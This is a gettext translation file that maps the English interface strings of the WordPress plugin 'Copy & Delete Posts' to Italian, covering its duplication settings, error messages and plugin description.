msgid "…get no comments from the original." msgstr "...non riporteranno nessun commento dell'originale." #: menu/configuration.php:290 msgid "…get all comments from the original." msgstr "...riporteranno tutti i commenti dell'originale." #: menu/configuration.php:286 msgid "…not get their child pages copied along (if the page is a parent)." msgstr "...non verranno create copie delle pagine figlie (se si tratta di una pagina madre)." #: menu/configuration.php:285 msgid "…get their <a href=\"https://phppot.com/wordpress/how-to-create-a-child-page-in-wordpress/\" target=\"_blank\"><span class=\"cdp-green\">child pages</span></a> copied as well, with all current settings applied to child-duplicates (if the page is a parent)." msgstr "…verranno copiate anche le <a href=\"https://phppot.com/wordpress/how-to-create-a-child-page-in-wordpress/\" target=\"_blank\"><span class=\"cdp-green\">pagine figlie</span></a>, con tutte le impostazioni correnti applicate alle copie figlie (se si tratta di una pagina madre)." #: menu/configuration.php:281 msgid "…get existing attachments from the original." msgstr "...avranno gli allegati esistenti dell'originale." #: menu/configuration.php:280 msgid "…create new <a href=\"https://wordpress.org/support/article/using-image-and-file-attachments/#attachment-to-a-post\" target=\"_blank\"><span class=\"cdp-green\">attachments</span></a> (duplicates in Media Library) as well. <i>Recommended only for Multisites.</i>" msgstr "…verranno creati anche nuovi <a href=\"https://wordpress.org/support/article/using-image-and-file-attachments/#attachment-to-a-post\" target=\"_blank\"><span class=\"cdp-green\">allegati</span></a> (duplicati nella Galleria Multimediale). <i>Consigliato solo per Multisite.</i>" #: menu/configuration.php:276 msgid "…get no password." msgstr "...non avranno nessuna password." #: menu/configuration.php:275 msgid "…get the same <a href=\"https://wordpress.org/support/article/using-password-protection/\" target=\"_blank\"><span class=\"cdp-green\">password</span></a> as original." msgstr "…avranno la stessa <a href=\"https://wordpress.org/support/article/using-password-protection/\" target=\"_blank\"><span class=\"cdp-green\">password</span></a> dell'originale." #: menu/configuration.php:271 msgid "…get the user that is duplicating as an author." msgstr "...riporteranno l'utente che esegue le copie come autore." #: menu/configuration.php:270 msgid "…get the same author as original." msgstr "...riporteranno lo stesso autore dell'originale." #: menu/configuration.php:266 msgid "…get the standard post format." msgstr "...avranno il formato di post standard." #: menu/configuration.php:265 msgid "…get the same <a href=\"https://wordpress.org/support/article/post-formats/\" target=\"_blank\"><span class=\"cdp-green\">post format</span></a> as original." msgstr "...avranno lo stesso <a href=\"https://wordpress.org/support/article/post-formats/\" target=\"_blank\"><span class=\"cdp-green\">formato di post</span></a> dell'originale." #: menu/configuration.php:261 msgid "…get the default page template." msgstr "...avranno il template di pagina predefinito." #: menu/configuration.php:260 msgid "…get the same page <a href=\"https://wpapprentice.com/blog/wordpress-theme-vs-template/\" target=\"_blank\"><span class=\"cdp-green\">template</span></a> as original." msgstr "...avranno lo stesso <a href=\"https://wpapprentice.com/blog/wordpress-theme-vs-template/\" target=\"_blank\"><span class=\"cdp-green\">template</span></a> di pagina dell'originale." #: menu/configuration.php:256 msgid "…get no featured image." msgstr "...non avranno nessuna immagine in evidenza." #: menu/configuration.php:255 msgid "…it will set the same <a href=\"https://firstsiteguide.com/wordpress-featured-image/\" target=\"_blank\"><span class=\"cdp-green\">featured image</span></a> as the original." msgstr "...avranno la stessa <a href=\"https://firstsiteguide.com/wordpress-featured-image/\" target=\"_blank\"><span class=\"cdp-green\">immagine in evidenza</span></a> dell'originale." #: menu/configuration.php:251 msgid "…get no content (be completely blank)." msgstr "...non avranno nessun contenuto (saranno completamente vuote)." #: menu/configuration.php:250 msgid "…get all the content (text, images, videos and other elements/blocks) from the original." msgstr "...avranno tutto il contenuto (testo, immagini, video e altri elementi/blocchi) dell'originale." #: menu/configuration.php:246 msgid "…get an empty <i>custom</i> excerpt (and default to taking the first 55 words of the post)." msgstr "...avranno un <i>custom</i> riassunto vuoto (e l'impostazione predefinita di riprendere le prime 55 parole del post)." #: menu/configuration.php:245 msgid "…get the custom <a href=\"https://wordpress.org/support/article/excerpt/\" target=\"_blank\"><span class=\"cdp-green\">excerpt</span></a> (post/page summary) of the original (if the original had any)." msgstr "...avranno il <a href=\"https://wordpress.org/support/article/excerpt/\" target=\"_blank\"><span class=\"cdp-green\">riassunto</span></a> personalizzato (riepilogo post/pagina) dell'originale (se l'originale ne conteneva uno)." #: menu/configuration.php:241 msgid "…get a blank slug, unless the page is published, then it will generate it automatically." msgstr "...avranno uno slug vuoto, finché la pagina non viene pubblicata, poi verrà generato automaticamente." #: menu/configuration.php:111 msgid "Loading..." msgstr "Caricamento in corso..." #: copy-delete-posts.php:1059 msgid "Settings" msgstr "Impostazioni" #: copy-delete-posts.php:999 msgid "Copy of" msgstr "Copia di" #: copy-delete-posts.php:826 msgid "Premium" msgstr "Premium" #: copy-delete-posts.php:824 msgid "Plugin has been installed successfully, feel free to check those awesome features!" msgstr "Il plugin è stato installato con successo, ti invitiamo ad esplorare le sue fantastiche funzionalità!" #: copy-delete-posts.php:822 copy-delete-posts.php:823 msgid "There was an error and we couldn't kill the task." msgstr "Si è verificato un errore e non è stato possibile terminare il processo." #: copy-delete-posts.php:260 copy-delete-posts.php:387 #: copy-delete-posts.php:417 copy-delete-posts.php:441 #: copy-delete-posts.php:463 menu/modal.php:207 menu/tooltips.php:268 msgid "Copy" msgstr "Copia" #: copy-delete-posts.php:904 msgid "Please select at least one row to copy and try again." msgstr "Seleziona almeno una riga da copiare e riprova." #: copy-delete-posts.php:903 msgid "Please select at least one row to copy." msgstr "Seleziona almeno una riga da copiare." #: copy-delete-posts.php:894 msgid "Are you REALLY sure?" msgstr "Sei DAVVERO sicuro?" #: copy-delete-posts.php:887 msgid "here" msgstr "qui" #: copy-delete-posts.php:885 menu/notifications.php:87 msgid "Hide" msgstr "Nascondi" #: copy-delete-posts.php:856 copy-delete-posts.php:909 msgid "Copy in progress..." msgstr "Copia in corso..." #: menu/configuration.php:405 msgid "" "Do you know anything else you want to have copied (e.g. data added by a different plugin)? <br />\n" " Please <a href=\"mailto:hi@copy-delete-posts.com\" target=\"_blank\"><span class=\"cdp-green\">tell us about it</span></a>, we always want to further improve this plugin! :) " msgstr "" "C'è qualcos'altro che vorresti copiare (ad es. i dati aggiunti da un altro plugin)? <br />\n" " <a href=\"mailto:hi@copy-delete-posts.com\" target=\"_blank\"><span class=\"cdp-green\">Faccelo sapere</span></a>, cerchiamo sempre di migliorare ulteriormente questo plugin! :) " #: copy-delete-posts.php:839 msgid "No items to show, try with other filters!" msgstr "Nessun elemento da visualizzare, prova con altri filtri!" #: copy-delete-posts.php:840 msgid "Something went wrong and we couldn't save intro settings!" msgstr "Qualcosa è andato storto e non è stato possibile salvare le impostazioni iniziali!" #: copy-delete-posts.php:841 msgid "Something went wrong and we couldn't save intro settings." msgstr "Qualcosa è andato storto e non è stato possibile salvare le impostazioni iniziali." #: copy-delete-posts.php:843 msgid "Something went wrong and we couldn't update intro settings. – Please check console for more info." msgstr "Qualcosa è andato storto e non è stato possibile aggiornare le impostazioni iniziali. – Controlla la console per maggiori informazioni." #: copy-delete-posts.php:842 msgid "Something went wrong and we couldn't update intro settings – try again!" msgstr "Qualcosa è andato storto e non è stato possibile aggiornare le impostazioni iniziali – riprova!" #: menu/tooltips.php:72 msgid "Settings:" msgstr "Impostazioni:" #: menu/configuration.php:998 msgid "This will establish connection to the chat servers" msgstr "Questo stabilirà la connessione ai server di chat" #: menu/configuration.php:996 msgid "Connect with support (click to load)" msgstr "Connettiti con il supporto (fai clic per caricare)" #. Plugin URI of the plugin #: copy-delete-posts.php msgid "https://copy-delete-posts.com" msgstr "https://copy-delete-posts.com" #. Plugin Name of the plugin #: copy-delete-posts.php copy-delete-posts.php:357 copy-delete-posts.php:825 #: copy-delete-posts.php:829 msgid "Copy & Delete Posts" msgstr "Copy & Delete Posts" #. Description of the plugin #: copy-delete-posts.php msgid "The best solution to easily make duplicates of your posts & pages, and delete them in one go." msgstr "La soluzione migliore per creare facilmente duplicati di articoli e pagine ed eliminarli in una volta sola."
